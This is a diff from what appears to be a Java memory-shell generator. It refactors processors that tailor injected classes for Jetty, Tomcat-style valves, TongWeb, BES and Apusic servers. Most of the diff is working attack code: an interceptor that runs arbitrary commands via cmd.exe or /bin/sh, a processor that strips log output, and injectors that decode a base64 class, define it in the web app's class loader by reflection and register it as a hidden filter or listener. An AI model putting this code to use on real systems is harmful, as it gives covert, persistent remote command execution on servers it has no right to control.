@@ -30,11 +48,11 @@ public class ForkAndExecInterceptor {
} }
Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass); Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass);
byte[][] args = new byte[strs.length - 1][]; byte[][] args = new byte[cmdarray.length - 1][];
int size = args.length; int size = args.length;
for (int i = 0; i < args.length; i++) { for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes(); args[i] = cmdarray[i + 1].getBytes();
size += args[i].length; size += args[i].length;
} }
@@ -48,7 +66,7 @@ public class ForkAndExecInterceptor {
int[] envc = new int[1]; int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1}; int[] std_fds = new int[]{-1, -1, -1};
byte[] bytes = strs[0].getBytes(); byte[] bytes = cmdarray[0].getBytes();
byte[] result = new byte[bytes.length + 1]; byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0, System.arraycopy(bytes, 0,
result, 0, result, 0,
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.generator.command; package com.reajason.javaweb.memshell.generator.command;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import org.apache.commons.io.IOUtils;
import java.io.IOException; import java.io.IOException;
import java.io.InputStream; import java.io.InputStream;
@@ -10,9 +11,28 @@ import java.io.InputStream;
* @since 2025/5/25 * @since 2025/5/25
*/ */
public class RuntimeExecInterceptor { public class RuntimeExecInterceptor {
@Advice.OnMethodExit @Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException { public static void enter(@Advice.Argument(value = 0) String cmd,
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; @Advice.Return(readOnly = false) InputStream returnValue,
returnValue = new ProcessBuilder(cmds).redirectErrorStream(true).start().getInputStream(); @TemplateAnnotation String template
) throws IOException {
String[] cmdarray = null;
String t = template;
if (t == null) {
cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
} else {
if (t.contains("\"{command}\"")) {
String[] split = t.split("\\s+");
for (int i = 0; i < split.length; i++) {
split[i] = split[i].replace("\"{command}\"", cmd);
}
cmdarray = split;
} else {
String cmdline = t.replace("{command}", cmd);
cmdarray = cmdline.split("\\s+");
}
}
returnValue = new ProcessBuilder(cmdarray).redirectErrorStream(true).start().getInputStream();
} }
} }
@@ -0,0 +1,8 @@
package com.reajason.javaweb.memshell.generator.command;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
@Retention(RetentionPolicy.RUNTIME)
public @interface TemplateAnnotation {
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
import net.bytebuddy.dynamic.DynamicType;
/**
* @author ReaJason
* @since 2025/12/7
*/
public class DebugOffBuilderModifier implements Processor<DynamicType.Builder<?>> {
@Override
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
return builder;
}
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
import net.bytebuddy.dynamic.DynamicType;
/**
* @author ReaJason
* @since 2025/12/7
*/
public class JakartaBuilderModifier implements Processor<DynamicType.Builder<?>> {
@Override
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
return builder;
}
}
@@ -0,0 +1,62 @@
package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.asm.ClassSuperClassUtils;
import com.reajason.javaweb.asm.MethodUtils;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.memshell.server.Jetty;
/**
* @author ReaJason
* @since 2025/12/7
*/
public class JettyHandlerPostProcessor implements Processor<byte[]> {
@Override
public byte[] process(byte[] bytes, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
String shellType = shellConfig.getShellType();
if (server instanceof Jetty
&& (ShellType.HANDLER.equals(shellType)
|| ShellType.JAKARTA_HANDLER.equals(shellType))
) {
String superClassName = null;
String serverVersion = shellConfig.getServerVersion();
if (serverVersion != null) {
switch (serverVersion) {
case "6":
superClassName = "org/mortbay/jetty/handler/AbstractHandler";
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z");
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V");
bytes = ClassRenameUtils.relocateClass(bytes, "org/eclipse/jetty/server", "org/mortbay/jetty");
break;
case "7+":
superClassName = "org/eclipse/jetty/server/handler/AbstractHandler";
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z");
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V");
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V");
break;
case "12":
superClassName = "org/eclipse/jetty/server/Handler$Abstract";
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/Object;Ljava/lang/Object;)Z");
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V");
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V");
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V");
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;)V");
break;
}
}
if (superClassName == null) {
throw new GenerationException("serverVersion is needed for Jetty Handler or unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7+', '12'] for shellConfig.serverVersion");
}
return ClassSuperClassUtils.addSuperClass(bytes, superClassName);
}
return bytes;
}
}
@@ -0,0 +1,73 @@
package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.method.MethodDescription;
import net.bytebuddy.description.method.MethodList;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue;
import net.bytebuddy.matcher.ElementMatchers;
import static net.bytebuddy.matcher.ElementMatchers.named;
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
/**
* @author ReaJason
* @since 2025/12/7
*/
public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>> {
@Override
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
String shellType = shellConfig.getShellType();
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
String shellClassName = shellToolConfig.getShellClassName();
builder = modifier(builder,
server.getListenerInterceptor(),
shellToolConfig.getShellTypeDescription(),
shellClassName);
}
return builder;
}
public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, Class<?> implInterceptor,
TypeDescription typeDefinition, String newClassName) {
MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
if (methods.filter(ElementMatchers.named("getResponseFromRequest")
.and(ElementMatchers.takesArguments(Object.class))
.and(ElementMatchers.returns(Object.class)))
.isEmpty()) {
throw new GenerationException("[public Object getResponseFromRequest(Object request)] method not found" +
" make sure arg and return type is Object.class");
} else {
builder = builder
.visit(MethodCallReplaceVisitorWrapper.newInstance(
"getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
}
if (methods.filter(named("getFieldValue")
.and(takesArguments(Object.class, String.class)))
.isEmpty()) {
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(Object.class, String.class)
.throwing(Exception.class)
.intercept(FixedValue.nullValue())
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
}
return builder;
}
}
@@ -0,0 +1,18 @@
package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
/**
* @author ReaJason
* @since 2025/12/7
*/
public class ShrinkPostProcessor implements Processor<byte[]> {
@Override
public byte[] process(byte[] bytes, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
}
}
@@ -1,6 +1,11 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator.processors;
import com.reajason.javaweb.GenerationException; import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.Processor;
import com.reajason.javaweb.memshell.server.AbstractServer; import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.memshell.server.Bes; import com.reajason.javaweb.memshell.server.Bes;
import com.reajason.javaweb.memshell.server.TongWeb; import com.reajason.javaweb.memshell.server.TongWeb;
@@ -12,6 +17,7 @@ import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.Implementation; import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.jar.asm.ClassVisitor; import net.bytebuddy.jar.asm.ClassVisitor;
import net.bytebuddy.jar.asm.Opcodes;
import net.bytebuddy.jar.asm.commons.ClassRemapper; import net.bytebuddy.jar.asm.commons.ClassRemapper;
import net.bytebuddy.jar.asm.commons.Remapper; import net.bytebuddy.jar.asm.commons.Remapper;
import net.bytebuddy.pool.TypePool; import net.bytebuddy.pool.TypePool;
@@ -20,9 +26,19 @@ import org.jetbrains.annotations.NotNull;
/** /**
* @author ReaJason * @author ReaJason
* @since 2025/2/22 * @since 2025/12/7
*/ */
public class ValveGenerator { public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
@Override
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
String shellType = shellConfig.getShellType();
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
builder = modifier(builder, server, shellConfig.getServerVersion());
}
return builder;
}
public static final String CATALINA_VALVE_PACKAGE = "org.apache.catalina"; public static final String CATALINA_VALVE_PACKAGE = "org.apache.catalina";
public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier"; public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier";
@@ -30,25 +46,34 @@ public class ValveGenerator {
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina"; public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server"; public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) { public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
String packageName = null; String packageName = null;
if (serverVersion.equals("6")) { if (shell instanceof Bes) {
packageName = TONGWEB6_VALVE_PACKAGE;
} else if (serverVersion.equals("7")) {
packageName = TONGWEB7_VALVE_PACKAGE;
} else if (serverVersion.equals("8")) {
packageName = TONGWEB8_VALVE_PACKAGE;
} else if (shell instanceof Bes) {
packageName = BES_VALVE_PACKAGE; packageName = BES_VALVE_PACKAGE;
} }
if (StringUtils.isEmpty(packageName)) {
if (shell instanceof TongWeb) { if (shell instanceof TongWeb) {
throw new GenerationException("serverVersion is needed for TongWeb valve shell, please use 6/7/8 for shellConfig.serverVersion"); if (serverVersion == null) {
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8'] for shellConfig.serverVersion");
}
switch (serverVersion) {
case "6":
packageName = TONGWEB6_VALVE_PACKAGE;
break;
case "7":
packageName = TONGWEB7_VALVE_PACKAGE;
break;
case "8":
packageName = TONGWEB8_VALVE_PACKAGE;
break;
default:
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8'] for shellConfig.serverVersion");
}
}
if (StringUtils.isNotBlank(packageName)) {
return builder.visit(new ValveRenameVisitorWrapper(packageName));
} }
return builder; return builder;
} }
return builder.visit(new ValveRenameVisitorWrapper(packageName));
}
public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper { public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
private final String newPackageName; private final String newPackageName;
@@ -79,7 +104,7 @@ public class ValveGenerator {
int readerFlags) { int readerFlags) {
return new ClassRemapper( return new ClassRemapper(
classVisitor, classVisitor,
new Remapper() { new Remapper(Opcodes.ASM9) {
@Override @Override
public String map(String typeName) { public String map(String typeName) {
String packageName = CATALINA_VALVE_PACKAGE.replace(".", "/"); String packageName = CATALINA_VALVE_PACKAGE.replace(".", "/");
@@ -40,7 +40,6 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) { if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at com.apusic.web.container.FilterChainImpl.performFilter");
} }
} }
} }
@@ -61,6 +60,7 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
@@ -77,12 +77,8 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
String signature, String[] exceptions) { String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) { if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor); Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
} }
return mv; return mv;
} }
@@ -3,11 +3,13 @@ package com.reajason.javaweb.memshell.injector.apusic;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array; import java.lang.reflect.Array;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.HashSet;
import java.util.List; import java.util.LinkedHashSet;
import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -17,17 +19,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ApusicFilterInjector { public class ApusicFilterInjector {
public ApusicFilterInjector() { private static String msg = "";
try { private static boolean ok = false;
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getShell(context);
inject(context, filter);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -41,48 +34,111 @@ public class ApusicFilterInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public ApusicFilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/** /**
* context: com.apusic.web.container.WebContainer * context: com.apusic.web.container.WebContainer
* context -> webapp: com.apusic.deploy.runtime.WebModule * context - webapp: com.apusic.deploy.runtime.WebModule
* /usr/local/ass/lib/apusic.jar * /usr/local/ass/lib/apusic.jar
*/ */
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("HouseKeeper")) { if (thread.getName().contains("HouseKeeper")) {
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container")); // Apusic 9.0 SPX
Object sessionManager = getFieldValue(thread, "this$0");
contexts.add(getFieldValue(sessionManager, "container"));
} else if (thread.getName().contains("HTTPSession")) {
// Apusic 9.0.1
Object sessionManager = getFieldValue(thread, "this$0");
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
contexts.addAll(contextMap.values());
} }
} }
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) throws Exception { private Object getShell(Object context) throws Exception {
// WebApp 类加载器,ServletContext 使用这个进行组件的类加载
ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
ClassLoader defineLoader;
Object obj;
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); // Apusic 9.0 SPX,优先从当前 loader 进行加载
} catch (Exception e) { defineShell(loader);
return ((ClassLoader) getFieldValue(context, "loader")); // 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
obj = loader.loadClass(getClassName()).newInstance();
defineLoader = loader;
} catch (ClassNotFoundException e) {
// Apusic 9.0.1,委托给 jspLoader 进行加载,因此直接往 loader 里面 define 会 ClassNotFound
ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
defineShell(internalLoader);
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
obj = loader.loadClass(getClassName()).newInstance();
defineLoader = internalLoader;
} }
msg += "[" + defineLoader.getClass().getName() + "] ";
return obj;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private void defineShell(ClassLoader classLoader) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
try { try {
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance(); } catch (Throwable ignored) {
} }
} }
public void inject(Object context, Object filter) throws Exception { public void inject(Object context, Object filter) throws Exception {
Object webModule = getFieldValue(context, "webapp"); Object webModule = getFieldValue(context, "webapp");
if (invokeMethod(webModule, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(webModule, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
System.out.println("filter already injected");
return; return;
} }
// addFilterMapping // addFilterMapping
@@ -90,7 +146,12 @@ public class ApusicFilterInjector {
Object filterMapping = filterMappingClass.newInstance(); Object filterMapping = filterMappingClass.newInstance();
invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(webModule, "addBeforeFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping}); LinkedHashSet beforeFilterMappings = (LinkedHashSet) getFieldValue(webModule, "beforeFilterMappings");
LinkedHashSet newSet = new LinkedHashSet();
newSet.add(filterMapping);
newSet.addAll(beforeFilterMappings);
beforeFilterMappings.clear();
beforeFilterMappings.addAll(newSet);
// addFilterModel // addFilterModel
invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()}); invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
@@ -100,7 +161,11 @@ public class ApusicFilterInjector {
Class<?> filterMappingArrayClass = Array.newInstance(filterMappingClass, 0).getClass(); Class<?> filterMappingArrayClass = Array.newInstance(filterMappingClass, 0).getClass();
Object filterMapper = getFieldValue(context, "filterMapper"); Object filterMapper = getFieldValue(context, "filterMapper");
invokeMethod(filterMapper, "populate", new Class[]{filterMappingArrayClass}, new Object[]{allFilterMappings}); invokeMethod(filterMapper, "populate", new Class[]{filterMappingArrayClass}, new Object[]{allFilterMappings});
System.out.println("filter injected successful"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -155,12 +220,11 @@ public class ApusicFilterInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(fieldName); throw new NoSuchFieldException(fieldName + " for " + obj.getClass().getName());
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null; Method method = null;
while (clazz != null && method == null) { while (clazz != null && method == null) {
@@ -177,11 +241,22 @@ public class ApusicFilterInjector {
if (method == null) { if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName); throw new NoSuchMethodException("Method not found: " + methodName);
} }
method.setAccessible(true); method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param); return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) { }
throw new RuntimeException("Error invoking method: " + methodName, e);
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
} }
} }
} }
@@ -3,11 +3,10 @@ package com.reajason.javaweb.memshell.injector.apusic;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.*;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -16,17 +15,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class ApusicListenerInjector { public class ApusicListenerInjector {
public ApusicListenerInjector() { private static String msg = "";
try { private static boolean ok = false;
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getShell(context);
inject(context, listener);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -40,52 +30,115 @@ public class ApusicListenerInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public List<Object> getContext() throws Exception { public ApusicListenerInjector() {
List<Object> contexts = new ArrayList<Object>(); if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("HouseKeeper")) { if (thread.getName().contains("HouseKeeper")) {
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container")); // Apusic 9.0 SPX
Object sessionManager = getFieldValue(thread, "this$0");
contexts.add(getFieldValue(sessionManager, "container"));
} else if (thread.getName().contains("HTTPSession")) {
// Apusic 9.0.1
Object sessionManager = getFieldValue(thread, "this$0");
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
contexts.addAll(contextMap.values());
} }
} }
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) throws Exception { private Object getShell(Object context) throws Exception {
// WebApp 类加载器,ServletContext 使用这个进行组件的类加载
ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
ClassLoader defineLoader;
Object obj;
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); // Apusic 9.0 SPX,优先从当前 loader 进行加载
} catch (Exception e) { defineShell(loader);
return ((ClassLoader) getFieldValue(context, "loader")); // 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
obj = loader.loadClass(getClassName()).newInstance();
defineLoader = loader;
} catch (ClassNotFoundException e) {
// Apusic 9.0.1,委托给 jspLoader 进行加载,因此直接往 loader 里面 define 会 ClassNotFound
